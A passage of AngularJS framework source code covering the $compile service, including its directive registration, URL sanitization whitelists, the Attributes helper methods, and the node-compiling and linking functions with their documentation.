5460 * * `iElement` - instance element - The element where the directive is to be used. It is safe to
5461 * manipulate the children of the element only in `postLink` function since the children have
5462 * already been linked.
5463 *
5464 * * `iAttrs` - instance attributes - Normalized list of attributes declared on this element shared
5465 * between all directive linking functions.
5466 *
5467 * * `controller` - a controller instance - A controller instance if at least one directive on the
5468 * element defines a controller. The controller is shared among all the directives, which allows
5469 * the directives to use the controllers as a communication channel.
5470 *
5471 * * `transcludeFn` - A transclude linking function pre-bound to the correct transclusion scope.
5472 * The scope can be overridden by an optional first argument. This is the same as the `$transclude`
5473 * parameter of directive controllers.
5474 * `function([scope], cloneLinkingFn)`.
5475 *
5476 *
5477 * #### Pre-linking function
5478 *
5479 * Executed before the child elements are linked. Not safe to do DOM transformation since the
5480 * compiler linking function will fail to locate the correct elements for linking.
5481 *
5482 * #### Post-linking function
5483 *
5484 * Executed after the child elements are linked. It is safe to do DOM transformation in the post-linking function.
5485 *
5486 * <a name="Attributes"></a>
5487 * ### Attributes
5488 *
5489 * The {@link ng.$compile.directive.Attributes Attributes} object - passed as a parameter in the
5490 * `link()` or `compile()` functions. It has a variety of uses.
5491 *
5492 * accessing *Normalized attribute names:*
5493 * Directives like 'ngBind' can be expressed in many ways: 'ng:bind', `data-ng-bind`, or 'x-ng-bind'.
5494 * the attributes object allows for normalized access to
5495 * the attributes.
5496 *
5497 * * *Directive inter-communication:* All directives share the same instance of the attributes
5498 * object which allows the directives to use the attributes object as inter directive
5499 * communication.
5500 *
5501 * * *Supports interpolation:* Interpolation attributes are assigned to the attribute object
5502 * allowing other directives to read the interpolated value.
5503 *
5504 * * *Observing interpolated attributes:* Use `$observe` to observe the value changes of attributes
5505 * that contain interpolation (e.g. `src="{{bar}}"`). Not only is this very efficient but it's also
5506 * the only way to easily get the actual value because during the linking phase the interpolation
5507 * hasn't been evaluated yet and so the value is at this time set to `undefined`.
5508 *
5509 * ```js
5510 * function linkingFn(scope, elm, attrs, ctrl) {
5511 * // get the attribute value
5512 * console.log(attrs.ngModel);
5513 *
5514 * // change the attribute
5515 * attrs.$set('ngModel', 'new value');
5516 *
5517 * // observe changes to interpolated attribute
5518 * attrs.$observe('ngModel', function(value) {
5519 * console.log('ngModel has changed value to ' + value);
5520 * });
5521 * }
5522 * ```
5523 *
5524 * Below is an example using `$compileProvider`.
5525 *
5526 * <div class="alert alert-warning">
5527 * **Note**: Typically directives are registered with `module.directive`. The example below is
5528 * to illustrate how `$compile` works.
5529 * </div>
5530 *
5531 <example module="compileExample">
5532 <file name="index.html">
5533 <script>
5534 angular.module('compileExample', [], function($compileProvider) {
5535 // configure new 'compile' directive by passing a directive
5536 // factory function. The factory function injects the '$compile'
5537 $compileProvider.directive('compile', function($compile) {
5538 // directive factory creates a link function
5539 return function(scope, element, attrs) {
5540 scope.$watch(
5541 function(scope) {
5542 // watch the 'compile' expression for changes
5543 return scope.$eval(attrs.compile);
5544 },
5545 function(value) {
5546 // when the 'compile' expression changes
5547 // assign it into the current DOM
5548 element.html(value);
5549
5550 // compile the new DOM and link it to the current
5551 // scope.
5552 // NOTE: we only compile .childNodes so that
5553 // we don't get into infinite loop compiling ourselves
5554 $compile(element.contents())(scope);
5555 }
5556 );
5557 };
5558 });
5559 })
5560 .controller('GreeterController', ['$scope', function($scope) {
5561 $scope.name = 'Angular';
5562 $scope.html = 'Hello {{name}}';
5563 }]);
5564 </script>
5565 <div ng-controller="GreeterController">
5566 <input ng-model="name"> <br>
5567 <textarea ng-model="html"></textarea> <br>
5568 <div compile="html"></div>
5569 </div>
5570 </file>
5571 <file name="protractor.js" type="protractor">
5572 it('should auto compile', function() {
5573 var textarea = $('textarea');
5574 var output = $('div[compile]');
5575 // The initial state reads 'Hello Angular'.
5576 expect(output.getText()).toBe('Hello Angular');
5577 textarea.clear();
5578 textarea.sendKeys('{{name}}!');
5579 expect(output.getText()).toBe('Angular!');
5580 });
5581 </file>
5582 </example>
5583
5584 *
5585 *
5586 * @param {string|DOMElement} element Element or HTML string to compile into a template function.
5587 * @param {function(angular.Scope, cloneAttachFn=)} transclude function available to directives.
5588 * @param {number} maxPriority only apply directives lower than given priority (Only effects the
5589 * root element(s), not their children)
5590 * @returns {function(scope, cloneAttachFn=)} a link function which is used to bind template
5591 * (a DOM element/tree) to a scope. Where:
5592 *
5593 * * `scope` - A {@link ng.$rootScope.Scope Scope} to bind to.
5594 * * `cloneAttachFn` - If `cloneAttachFn` is provided, then the link function will clone the
5595 * `template` and call the `cloneAttachFn` function allowing the caller to attach the
5596 * cloned elements to the DOM document at the appropriate place. The `cloneAttachFn` is
5597 * called as: <br> `cloneAttachFn(clonedElement, scope)` where:
5598 *
5599 * * `clonedElement` - is a clone of the original `element` passed into the compiler.
5600 * * `scope` - is the current scope with which the linking function is working with.
5601 *
5602 * Calling the linking function returns the element of the template. It is either the original
5603 * element passed in, or the clone of the element if the `cloneAttachFn` is provided.
5604 *
5605 * After linking the view is not updated until after a call to $digest which typically is done by
5606 * Angular automatically.
5607 *
5608 * If you need access to the bound view, there are two ways to do it:
5609 *
5610 * - If you are not asking the linking function to clone the template, create the DOM element(s)
5611 * before you send them to the compiler and keep this reference around.
5612 * ```js
5613 * var element = $compile('<p>{{total}}</p>')(scope);
5614 * ```
5615 *
5616 * - if on the other hand, you need the element to be cloned, the view reference from the original
5617 * example would not point to the clone, but rather to the original template that was cloned. In
5618 * this case, you can access the clone via the cloneAttachFn:
5619 * ```js
5620 * var templateElement = angular.element('<p>{{total}}</p>'),
5621 * scope = ....;
5622 *
5623 * var clonedElement = $compile(templateElement)(scope, function(clonedElement, scope) {
5624 * //attach the clone to DOM document at the right place
5625 * });
5626 *
5627 * //now we have reference to the cloned DOM via `clonedElement`
5628 * ```
5629 *
5630 *
5631 * For information on how the compiler works, see the
5632 * {@link guide/compiler Angular HTML Compiler} section of the Developer Guide.
5633 */
5634
5635 var $compileMinErr = minErr('$compile');
5636
5637 /**
5638 * @ngdoc provider
5639 * @name $compileProvider
5640 * @kind function
5641 *
5642 * @description
5643 */
5644 $CompileProvider.$inject = ['$provide', '$$sanitizeUriProvider'];
5645 function $CompileProvider($provide, $$sanitizeUriProvider) {
5646 var hasDirectives = {},
5647 Suffix = 'Directive',
5648 COMMENT_DIRECTIVE_REGEXP = /^\s*directive\:\s*([\d\w_\-]+)\s+(.*)$/,
5649 CLASS_DIRECTIVE_REGEXP = /(([\d\w_\-]+)(?:\:([^;]+))?;?)/;
5650
5651 // Ref: http://developers.whatwg.org/webappapis.html#event-handler-idl-attributes
5652 // The assumption is that future DOM event attribute names will begin with
5653 // 'on' and be composed of only English letters.
5654 var EVENT_HANDLER_ATTR_REGEXP = /^(on[a-z]+|formaction)$/;
5655
5656 /**
5657 * @ngdoc method
5658 * @name $compileProvider#directive
5659 * @kind function
5660 *
5661 * @description
5662 * Register a new directive with the compiler.
5663 *
5664 * @param {string|Object} name Name of the directive in camel-case (i.e. <code>ngBind</code> which
5665 * will match as <code>ng-bind</code>), or an object map of directives where the keys are the
5666 * names and the values are the factories.
5667 * @param {Function|Array} directiveFactory An injectable directive factory function. See
5668 * {@link guide/directive} for more info.
5669 * @returns {ng.$compileProvider} Self for chaining.
5670 */
5671 this.directive = function registerDirective(name, directiveFactory) {
5672 assertNotHasOwnProperty(name, 'directive');
5673 if (isString(name)) {
5674 assertArg(directiveFactory, 'directiveFactory');
5675 if (!hasDirectives.hasOwnProperty(name)) {
5676 hasDirectives[name] = [];
5677 $provide.factory(name + Suffix, ['$injector', '$exceptionHandler',
5678 function($injector, $exceptionHandler) {
5679 var directives = [];
5680 forEach(hasDirectives[name], function(directiveFactory, index) {
5681 try {
5682 var directive = $injector.invoke(directiveFactory);
5683 if (isFunction(directive)) {
5684 directive = { compile: valueFn(directive) };
5685 } else if (!directive.compile && directive.link) {
5686 directive.compile = valueFn(directive.link);
5687 }
5688 directive.priority = directive.priority || 0;
5689 directive.index = index;
5690 directive.name = directive.name || name;
5691 directive.require = directive.require || (directive.controller && directive.name);
5692 directive.restrict = directive.restrict || 'A';
5693 directives.push(directive);
5694 } catch (e) {
5695 $exceptionHandler(e);
5696 }
5697 });
5698 return directives;
5699 }]);
5700 }
5701 hasDirectives[name].push(directiveFactory);
5702 } else {
5703 forEach(name, reverseParams(registerDirective));
5704 }
5705 return this;
5706 };
5707
5708
5709 /**
5710 * @ngdoc method
5711 * @name $compileProvider#aHrefSanitizationWhitelist
5712 * @kind function
5713 *
5714 * @description
5715 * Retrieves or overrides the default regular expression that is used for whitelisting of safe
5716 * urls during a[href] sanitization.
5717 *
5718 * The sanitization is a security measure aimed at prevent XSS attacks via html links.
5719 *
5720 * Any url about to be assigned to a[href] via data-binding is first normalized and turned into
5721 * an absolute url. Afterwards, the url is matched against the `aHrefSanitizationWhitelist`
5722 * regular expression. If a match is found, the original url is written into the dom. Otherwise,
5723 * the absolute url is prefixed with `'unsafe:'` string and only then is it written into the DOM.
5724 *
5725 * @param {RegExp=} regexp New regexp to whitelist urls with.
5726 * @returns {RegExp|ng.$compileProvider} Current RegExp if called without value or self for
5727 * chaining otherwise.
5728 */
5729 this.aHrefSanitizationWhitelist = function(regexp) {
5730 if (isDefined(regexp)) {
5731 $$sanitizeUriProvider.aHrefSanitizationWhitelist(regexp);
5732 return this;
5733 } else {
5734 return $$sanitizeUriProvider.aHrefSanitizationWhitelist();
5735 }
5736 };
5737
5738
5739 /**
5740 * @ngdoc method
5741 * @name $compileProvider#imgSrcSanitizationWhitelist
5742 * @kind function
5743 *
5744 * @description
5745 * Retrieves or overrides the default regular expression that is used for whitelisting of safe
5746 * urls during img[src] sanitization.
5747 *
5748 * The sanitization is a security measure aimed at prevent XSS attacks via html links.
5749 *
5750 * Any url about to be assigned to img[src] via data-binding is first normalized and turned into
5751 * an absolute url. Afterwards, the url is matched against the `imgSrcSanitizationWhitelist`
5752 * regular expression. If a match is found, the original url is written into the dom. Otherwise,
5753 * the absolute url is prefixed with `'unsafe:'` string and only then is it written into the DOM.
5754 *
5755 * @param {RegExp=} regexp New regexp to whitelist urls with.
5756 * @returns {RegExp|ng.$compileProvider} Current RegExp if called without value or self for
5757 * chaining otherwise.
5758 */
5759 this.imgSrcSanitizationWhitelist = function(regexp) {
5760 if (isDefined(regexp)) {
5761 $$sanitizeUriProvider.imgSrcSanitizationWhitelist(regexp);
5762 return this;
5763 } else {
5764 return $$sanitizeUriProvider.imgSrcSanitizationWhitelist();
5765 }
5766 };
5767
5768 this.$get = [
5769 '$injector', '$interpolate', '$exceptionHandler', '$http', '$templateCache', '$parse',
5770 '$controller', '$rootScope', '$document', '$sce', '$animate', '$$sanitizeUri',
5771 function($injector, $interpolate, $exceptionHandler, $http, $templateCache, $parse,
5772 $controller, $rootScope, $document, $sce, $animate, $$sanitizeUri) {
5773
5774 var Attributes = function(element, attr) {
5775 this.$$element = element;
5776 this.$attr = attr || {};
5777 };
5778
5779 Attributes.prototype = {
5780 $normalize: directiveNormalize,
5781
5782
5783 /**
5784 * @ngdoc method
5785 * @name $compile.directive.Attributes#$addClass
5786 * @kind function
5787 *
5788 * @description
5789 * Adds the CSS class value specified by the classVal parameter to the element. If animations
5790 * are enabled then an animation will be triggered for the class addition.
5791 *
5792 * @param {string} classVal The className value that will be added to the element
5793 */
5794 $addClass : function(classVal) {
5795 if(classVal && classVal.length > 0) {
5796 $animate.addClass(this.$$element, classVal);
5797 }
5798 },
5799
5800 /**
5801 * @ngdoc method
5802 * @name $compile.directive.Attributes#$removeClass
5803 * @kind function
5804 *
5805 * @description
5806 * Removes the CSS class value specified by the classVal parameter from the element. If
5807 * animations are enabled then an animation will be triggered for the class removal.
5808 *
5809 * @param {string} classVal The className value that will be removed from the element
5810 */
5811 $removeClass : function(classVal) {
5812 if(classVal && classVal.length > 0) {
5813 $animate.removeClass(this.$$element, classVal);
5814 }
5815 },
5816
5817 /**
5818 * @ngdoc method
5819 * @name $compile.directive.Attributes#$updateClass
5820 * @kind function
5821 *
5822 * @description
5823 * Adds and removes the appropriate CSS class values to the element based on the difference
5824 * between the new and old CSS class values (specified as newClasses and oldClasses).
5825 *
5826 * @param {string} newClasses The current CSS className value
5827 * @param {string} oldClasses The former CSS className value
5828 */
5829 $updateClass : function(newClasses, oldClasses) {
5830 var toAdd = tokenDifference(newClasses, oldClasses);
5831 var toRemove = tokenDifference(oldClasses, newClasses);
5832
5833 if(toAdd.length === 0) {
5834 $animate.removeClass(this.$$element, toRemove);
5835 } else if(toRemove.length === 0) {
5836 $animate.addClass(this.$$element, toAdd);
5837 } else {
5838 $animate.setClass(this.$$element, toAdd, toRemove);
5839 }
5840 },
5841
5842 /**
5843 * Set a normalized attribute on the element in a way such that all directives
5844 * can share the attribute. This function properly handles boolean attributes.
5845 * @param {string} key Normalized key. (ie ngAttribute)
5846 * @param {string|boolean} value The value to set. If `null` attribute will be deleted.
5847 * @param {boolean=} writeAttr If false, does not write the value to DOM element attribute.
5848 * Defaults to true.
5849 * @param {string=} attrName Optional none normalized name. Defaults to key.
5850 */
5851 $set: function(key, value, writeAttr, attrName) {
5852 // TODO: decide whether or not to throw an error if "class"
5853 //is set through this function since it may cause $updateClass to
5854 //become unstable.
5855
5856 var booleanKey = getBooleanAttrName(this.$$element[0], key),
5857 normalizedVal,
5858 nodeName;
5859
5860 if (booleanKey) {
5861 this.$$element.prop(key, value);
5862 attrName = booleanKey;
5863 }
5864
5865 this[key] = value;
5866
5867 // translate normalized key to actual key
5868 if (attrName) {
5869 this.$attr[key] = attrName;
5870 } else {
5871 attrName = this.$attr[key];
5872 if (!attrName) {
5873 this.$attr[key] = attrName = snake_case(key, '-');
5874 }
5875 }
5876
5877 nodeName = nodeName_(this.$$element);
5878
5879 // sanitize a[href] and img[src] values
5880 if ((nodeName === 'A' && key === 'href') ||
5881 (nodeName === 'IMG' && key === 'src')) {
5882 this[key] = value = $$sanitizeUri(value, key === 'src');
5883 }
5884
5885 if (writeAttr !== false) {
5886 if (value === null || value === undefined) {
5887 this.$$element.removeAttr(attrName);
5888 } else {
5889 this.$$element.attr(attrName, value);
5890 }
5891 }
5892
5893 // fire observers
5894 var $$observers = this.$$observers;
5895 $$observers && forEach($$observers[key], function(fn) {
5896 try {
5897 fn(value);
5898 } catch (e) {
5899 $exceptionHandler(e);
5900 }
5901 });
5902 },
5903
5904
5905 /**
5906 * @ngdoc method
5907 * @name $compile.directive.Attributes#$observe
5908 * @kind function
5909 *
5910 * @description
5911 * Observes an interpolated attribute.
5912 *
5913 * The observer function will be invoked once during the next `$digest` following
5914 * compilation. The observer is then invoked whenever the interpolated value
5915 * changes.
5916 *
5917 * @param {string} key Normalized key. (ie ngAttribute) .
5918 * @param {function(interpolatedValue)} fn Function that will be called whenever
5919 the interpolated value of the attribute changes.
5920 * See the {@link guide/directive#Attributes Directives} guide for more info.
5921 * @returns {function()} the `fn` parameter.
5922 */
5923 $observe: function(key, fn) {
5924 var attrs = this,
5925 $$observers = (attrs.$$observers || (attrs.$$observers = {})),
5926 listeners = ($$observers[key] || ($$observers[key] = []));
5927
5928 listeners.push(fn);
5929 $rootScope.$evalAsync(function() {
5930 if (!listeners.$$inter) {
5931 // no one registered attribute interpolation function, so lets call it manually
5932 fn(attrs[key]);
5933 }
5934 });
5935 return fn;
5936 }
5937 };
5938
5939 var startSymbol = $interpolate.startSymbol(),
5940 endSymbol = $interpolate.endSymbol(),
5941 denormalizeTemplate = (startSymbol == '{{' || endSymbol == '}}')
5942 ? identity
5943 : function denormalizeTemplate(template) {
5944 return template.replace(/\{\{/g, startSymbol).replace(/}}/g, endSymbol);
5945 },
5946 NG_ATTR_BINDING = /^ngAttr[A-Z]/;
5947
5948
5949 return compile;
5950
5951 //================================
5952
5953 function compile($compileNodes, transcludeFn, maxPriority, ignoreDirective,
5954 previousCompileContext) {
5955 if (!($compileNodes instanceof jqLite)) {
5956 // jquery always rewraps, whereas we need to preserve the original selector so that we can
5957 // modify it.
5958 $compileNodes = jqLite($compileNodes);
5959 }
5960 // We can not compile top level text elements since text nodes can be merged and we will
5961 // not be able to attach scope data to them, so we will wrap them in <span>
5962 forEach($compileNodes, function(node, index){
5963 if (node.nodeType == 3 /* text node */ && node.nodeValue.match(/\S+/) /* non-empty */ ) {
5964 $compileNodes[index] = node = jqLite(node).wrap('<span></span>').parent()[0];
5965 }
5966 });
5967 var compositeLinkFn =
5968 compileNodes($compileNodes, transcludeFn, $compileNodes,
5969 maxPriority, ignoreDirective, previousCompileContext);
5970 safeAddClass($compileNodes, 'ng-scope');
5971 return function publicLinkFn(scope, cloneConnectFn, transcludeControllers, parentBoundTranscludeFn){
5972 assertArg(scope, 'scope');
5973 // important!!: we must call our jqLite.clone() since the jQuery one is trying to be smart
5974 // and sometimes changes the structure of the DOM.
5975 var $linkNode = cloneConnectFn
5976 ? JQLitePrototype.clone.call($compileNodes) // IMPORTANT!!!
5977 : $compileNodes;
5978
5979 forEach(transcludeControllers, function(instance, name) {
5980 $linkNode.data('$' + name + 'Controller', instance);
5981 });
5982
5983 // Attach scope only to non-text nodes.
5984 for(var i = 0, ii = $linkNode.length; i<ii; i++) {
5985 var node = $linkNode[i],
5986 nodeType = node.nodeType;
5987 if (nodeType === 1 /* element */ || nodeType === 9 /* document */) {
5988 $linkNode.eq(i).data('$scope', scope);
5989 }
5990 }
5991
5992 if (cloneConnectFn) cloneConnectFn($linkNode, scope);
5993 if (compositeLinkFn) compositeLinkFn(scope, $linkNode, $linkNode, parentBoundTranscludeFn);
5994 return $linkNode;
5995 };
5996 }
5997
5998 function safeAddClass($element, className) {
5999 try {
6000 $element.addClass(className);
6001 } catch(e) {
6002 // ignore, since it means that we are trying to set class on
6003 // SVG element, where class name is read-only.
6004 }
6005 }
6006
6007 /**
6008 * Compile function matches each node in nodeList against the directives. Once all directives
6009 * for a particular node are collected their compile functions are executed. The compile
6010 * functions return values - the linking functions - are combined into a composite linking
6011 * function, which is the a linking function for the node.
6012 *
6013 * @param {NodeList} nodeList an array of nodes or NodeList to compile
6014 * @param {function(angular.Scope, cloneAttachFn=)} transcludeFn A linking function, where the
6015 * scope argument is auto-generated to the new child of the transcluded parent scope.
6016 * @param {DOMElement=} $rootElement If the nodeList is the root of the compilation tree then
6017 * the rootElement must be set the jqLite collection of the compile root. This is
6018 * needed so that the jqLite collection items can be replaced with widgets.
6019 * @param {number=} maxPriority Max directive priority.
6020 * @returns {Function} A composite linking function of all of the matched directives or null.
6021 */
6022 function compileNodes(nodeList, transcludeFn, $rootElement, maxPriority, ignoreDirective,
6023 previousCompileContext) {
6024 var linkFns = [],
6025 attrs, directives, nodeLinkFn, childNodes, childLinkFn, linkFnFound;
6026
6027 for (var i = 0; i < nodeList.length; i++) {
6028 attrs = new Attributes();
6029
6030 // we must always refer to nodeList[i] since the nodes can be replaced underneath us.
6031 directives = collectDirectives(nodeList[i], [], attrs, i === 0 ? maxPriority : undefined,
6032 ignoreDirective);
6033
6034 nodeLinkFn = (directives.length)
6035 ? applyDirectivesToNode(directives, nodeList[i], attrs, transcludeFn, $rootElement,
6036 null, [], [], previousCompileContext)
6037 : null;
6038
6039 if (nodeLinkFn && nodeLinkFn.scope) {
6040 safeAddClass(attrs.$$element, 'ng-scope');
6041 }
6042
6043 childLinkFn = (nodeLinkFn && nodeLinkFn.terminal ||
6044 !(childNodes = nodeList[i].childNodes) ||
6045 !childNodes.length)
6046 ? null
6047 : compileNodes(childNodes,
6048 nodeLinkFn ? (
6049 (nodeLinkFn.transcludeOnThisElement || !nodeLinkFn.templateOnThisElement)
6050 && nodeLinkFn.transclude) : transcludeFn);
6051
6052 linkFns.push(nodeLinkFn, childLinkFn);
6053 linkFnFound = linkFnFound || nodeLinkFn || childLinkFn;
6054 //use the previous context only for the first element in the virtual group
6055 previousCompileContext = null;
6056 }
6057
6058 // return a linking function if we have found anything, null otherwise
6059 return linkFnFound ? compositeLinkFn : null;
6060
6061 function compositeLinkFn(scope, nodeList, $rootElement, parentBoundTranscludeFn) {
6062 var nodeLinkFn, childLinkFn, node, childScope, i, ii, n, childBoundTranscludeFn;
6063
6064 // copy nodeList so that linking doesn't break due to live list updates.
6065 var nodeListLength = nodeList.length,
6066 stableNodeList = new Array(nodeListLength);
6067 for (i = 0; i < nodeListLength; i++) {
6068 stableNodeList[i] = nodeList[i];
6069 }
6070
6071 for(i = 0, n = 0, ii = linkFns.length; i < ii; n++) {
6072 node = stableNodeList[n];
6073 nodeLinkFn = linkFns[i++];
6074 childLinkFn = linkFns[i++];
6075
6076 if (nodeLinkFn) {
6077 if (nodeLinkFn.scope) {
6078 childScope = scope.$new();
6079 jqLite.data(node, '$scope', childScope);
6080 } else {
6081 childScope = scope;
6082 }
6083
6084 if ( nodeLinkFn.transcludeOnThisElement ) {
6085 childBoundTranscludeFn = createBoundTranscludeFn(scope, nodeLinkFn.transclude, parentBoundTranscludeFn);
6086
6087 } else if (!nodeLinkFn.templateOnThisElement && parentBoundTranscludeFn) {
6088 childBoundTranscludeFn = parentBoundTranscludeFn;
6089
6090 } else if (!parentBoundTranscludeFn && transcludeFn) {
6091 childBoundTranscludeFn = createBoundTranscludeFn(scope, transcludeFn);
6092
6093 } else {
6094 childBoundTranscludeFn = null;
6095 }
6096
6097 nodeLinkFn(childLinkFn, childScope, node, $rootElement, childBoundTranscludeFn);
6098
6099 } else if (childLinkFn) {
6100 childLinkFn(scope, node.childNodes, undefined, parentBoundTranscludeFn);
6101 }
6102 }
6103 }
6104 }
6105
6106 function createBoundTranscludeFn(scope, transcludeFn, previousBoundTranscludeFn) {
6107
6108 var boundTranscludeFn = function(transcludedScope, cloneFn, controllers) {
6109 var scopeCreated = false;
6110
6111 if (!transcludedScope) {
6112 transcludedScope = scope.$new();
6113 transcludedScope.$$transcluded = true;
6114 scopeCreated = true;
6115 }
6116
6117 var clone = transcludeFn(transcludedScope, cloneFn, controllers, previousBoundTranscludeFn);
6118 if (scopeCreated) {
6119 clone.on('$destroy', function() { transcludedScope.$destroy(); });
6120 }
6121 return clone;
6122 };
6123
6124 return boundTranscludeFn;
6125 }
6126
6127 /**
6128 * Looks for directives on the given node and adds them to the directive collection which is
6129 * sorted.
6130 *
6131 * @param node Node to search.
6132 * @param directives An array to which the directives are added to. This array is sorted before
6133 * the function returns.
6134 * @param attrs The shared attrs object which is used to populate the normalized attributes.
6135 * @param {number=} maxPriority Max directive priority.
6136 */
6137 function collectDirectives(node, directives, attrs, maxPriority, ignoreDirective) {
6138 var nodeType = node.nodeType,
6139 attrsMap = attrs.$attr,
6140 match,
6141 className;
6142
6143 switch(nodeType) {
6144 case 1: /* Element */
6145 // use the node name: <directive>
6146 addDirective(directives,
6147 directiveNormalize(nodeName_(node).toLowerCase()), 'E', maxPriority, ignoreDirective);
6148
6149 // iterate over the attributes
6150 for (var attr, name, nName, ngAttrName, value, isNgAttr, nAttrs = node.attributes,
6151 j = 0, jj = nAttrs && nAttrs.length; j < jj; j++) {
6152 var attrStartName = false;
6153 var attrEndName = false;
6154
6155 attr = nAttrs[j];
6156 if (!msie || msie >= 8 || attr.specified) {
6157 name = attr.name;
6158 value = trim(attr.value);
6159
6160 // support ngAttr attribute binding
6161 ngAttrName = directiveNormalize(name);
6162 if (isNgAttr = NG_ATTR_BINDING.test(ngAttrName)) {
6163 name = snake_case(ngAttrName.substr(6), '-');
6164 }
6165
6166 var directiveNName = ngAttrName.replace(/(Start|End)$/, '');
6167 if (ngAttrName === directiveNName + 'Start') {
6168 attrStartName = name;
6169 attrEndName = name.substr(0, name.length - 5) + 'end';
6170 name = name.substr(0, name.length - 6);
6171 }
6172
6173 nName = directiveNormalize(name.toLowerCase());
6174 attrsMap[nName] = name;
6175 if (isNgAttr || !attrs.hasOwnProperty(nName)) {
6176 attrs[nName] = value;
6177 if (getBooleanAttrName(node, nName)) {
6178 attrs[nName] = true; // presence means true
6179 }
6180 }
6181 addAttrInterpolateDirective(node, directives, value, nName);
6182 addDirective(directives, nName, 'A', maxPriority, ignoreDirective, attrStartName,
6183 attrEndName);
6184 }
6185 }
6186
6187 // use class as directive
6188 className = node.className;
6189 if (isString(className) && className !== '') {
6190 while (match = CLASS_DIRECTIVE_REGEXP.exec(className)) {
6191 nName = directiveNormalize(match[2]);
6192 if (addDirective(directives, nName, 'C', maxPriority, ignoreDirective)) {
6193 attrs[nName] = trim(match[3]);
6194 }
6195 className = className.substr(match.index + match[0].length);
6196 }
6197 }
6198 break;
6199 case 3: /* Text Node */
6200 addTextInterpolateDirective(directives, node.nodeValue);
6201 break;
6202 case 8: /* Comment */
6203 try {
6204 match = COMMENT_DIRECTIVE_REGEXP.exec(node.nodeValue);
6205 if (match) {
6206 nName = directiveNormalize(match[1]);
6207 if (addDirective(directives, nName, 'M', maxPriority, ignoreDirective)) {
6208 attrs[nName] = trim(match[2]);
6209 }
6210 }
6211 } catch (e) {
6212 // turns out that under some circumstances IE9 throws errors when one attempts to read
6213 // comment's node value.
6214 // Just ignore it and continue. (Can't seem to reproduce in test case.)
6215 }
6216 break;
6217 }
6218
6219 directives.sort(byPriority);
6220 return directives;
6221 }
6222
6223 /**
6224 * Given a node with an directive-start it collects all of the siblings until it finds
6225 * directive-end.
6226 * @param node
6227 * @param attrStart
6228 * @param attrEnd
6229 * @returns {*}
6230 */
6231 function groupScan(node, attrStart, attrEnd) {
6232 var nodes = [];
6233 var depth = 0;
6234 if (attrStart && node.hasAttribute && node.hasAttribute(attrStart)) {
6235 var startNode = node;
6236 do {
6237 if (!node) {
6238 throw $compileMinErr('uterdir',
6239 "Unterminated attribute, found '{0}' but no matching '{1}' found.",
6240 attrStart, attrEnd);
6241 }
6242 if (node.nodeType == 1 /** Element **/) {
6243 if (node.hasAttribute(attrStart)) depth++;
6244 if (node.hasAttribute(attrEnd)) depth--;
6245 }
6246 nodes.push(node);
6247 node = node.nextSibling;
6248 } while (depth > 0);
6249 } else {
6250 nodes.push(node);
6251 }
6252
6253 return jqLite(nodes);
6254 }
6255
6256 /**
6257 * Wrapper for linking function which converts normal linking function into a grouped
6258 * linking function.
6259 * @param linkFn
6260 * @param attrStart
6261 * @param attrEnd
6262 * @returns {Function}
6263 */
6264 function groupElementsLinkFnWrapper(linkFn, attrStart, attrEnd) {
6265 return function(scope, element, attrs, controllers, transcludeFn) {
6266 element = groupScan(element[0], attrStart, attrEnd);
6267 return linkFn(scope, element, attrs, controllers, transcludeFn);
6268 };
6269 }
6270
6271 /**
6272 * Once the directives have been collected, their compile functions are executed. This method
6273 * is responsible for inlining directive templates as well as terminating the application
6274 * of the directives if the terminal directive has been reached.
6275 *
6276 * @param {Array} directives Array of collected directives to execute their compile function.
6277 * this needs to be pre-sorted by priority order.
6278 * @param {Node} compileNode The raw DOM node to apply the compile functions to
6279 * @param {Object} templateAttrs The shared attribute function
6280 * @param {function(angular.Scope, cloneAttachFn=)} transcludeFn A linking function, where the
6281 * scope argument is auto-generated to the new
6282 * child of the transcluded parent scope.
6283 * @param {JQLite} jqCollection If we are working on the root of the compile tree then this
6284 * argument has the root jqLite array so that we can replace nodes
6285 * on it.
6286 * @param {Object=} originalReplaceDirective An optional directive that will be ignored when
6287 * compiling the transclusion.
6288 * @param {Array.<Function>} preLinkFns
6289 * @param {Array.<Function>} postLinkFns
6290 * @param {Object} previousCompileContext Context used for previous compilation of the current
6291 * node
6292 * @returns {Function} linkFn
6293 */
6294 function applyDirectivesToNode(directives, compileNode, templateAttrs, transcludeFn,
6295 jqCollection, originalReplaceDirective, preLinkFns, postLinkFns,
6296 previousCompileContext) {
6297 previousCompileContext = previousCompileContext || {};
6298
6299 var terminalPriority = -Number.MAX_VALUE,
6300 newScopeDirective,
6301 controllerDirectives = previousCompileContext.controllerDirectives,
6302 newIsolateScopeDirective = previousCompileContext.newIsolateScopeDirective,
6303 templateDirective = previousCompileContext.templateDirective,
6304 nonTlbTranscludeDirective = previousCompileContext.nonTlbTranscludeDirective,
6305 hasTranscludeDirective = false,
6306 hasTemplate = false,
6307 hasElementTranscludeDirective = previousCompileContext.hasElementTranscludeDirective,
6308 $compileNode = templateAttrs.$$element = jqLite(compileNode),
6309 directive,
6310 directiveName,
6311 $template,
6312 replaceDirective = originalReplaceDirective,
6313 childTranscludeFn = transcludeFn,
6314 linkFn,
6315 directiveValue;
6316
6317 // executes all directives on the current element
6318 for(var i = 0, ii = directives.length; i < ii; i++) {
6319 directive = directives[i];
6320 var attrStart = directive.$$start;
6321 var attrEnd = directive.$$end;
6322
6323 // collect multiblock sections
6324 if (attrStart) {
6325 $compileNode = groupScan(compileNode, attrStart, attrEnd);
6326 }
6327 $template = undefined;
6328
6329 if (terminalPriority > directive.priority) {
6330 break; // prevent further processing of directives
6331 }
6332
6333 if (directiveValue = directive.scope) {
6334 newScopeDirective = newScopeDirective || directive;
6335
6336 // skip the check for directives with async templates, we'll check the derived sync
6337 // directive when the template arrives
6338 if (!directive.templateUrl) {
6339 assertNoDuplicate('new/isolated scope', newIsolateScopeDirective, directive,
6340 $compileNode);
6341 if (isObject(directiveValue)) {
6342 newIsolateScopeDirective = directive;
6343 }
6344 }
6345 }
6346
6347 directiveName = directive.name;
6348
6349 if (!directive.templateUrl && directive.controller) {
6350 directiveValue = directive.controller;
6351 controllerDirectives = controllerDirectives || {};
6352 assertNoDuplicate("'" + directiveName + "' controller",
6353 controllerDirectives[directiveName], directive, $compileNode);
6354 controllerDirectives[directiveName] = directive;
6355 }
6356
6357 if (directiveValue = directive.transclude) {
6358 hasTranscludeDirective = true;
6359
6360 // Special case ngIf and ngRepeat so that we don't complain about duplicate transclusion.
6361 // This option should only be used by directives that know how to safely handle element transclusion,
6362 // where the transcluded nodes are added or replaced after linking.
6363 if (!directive.$$tlb) {
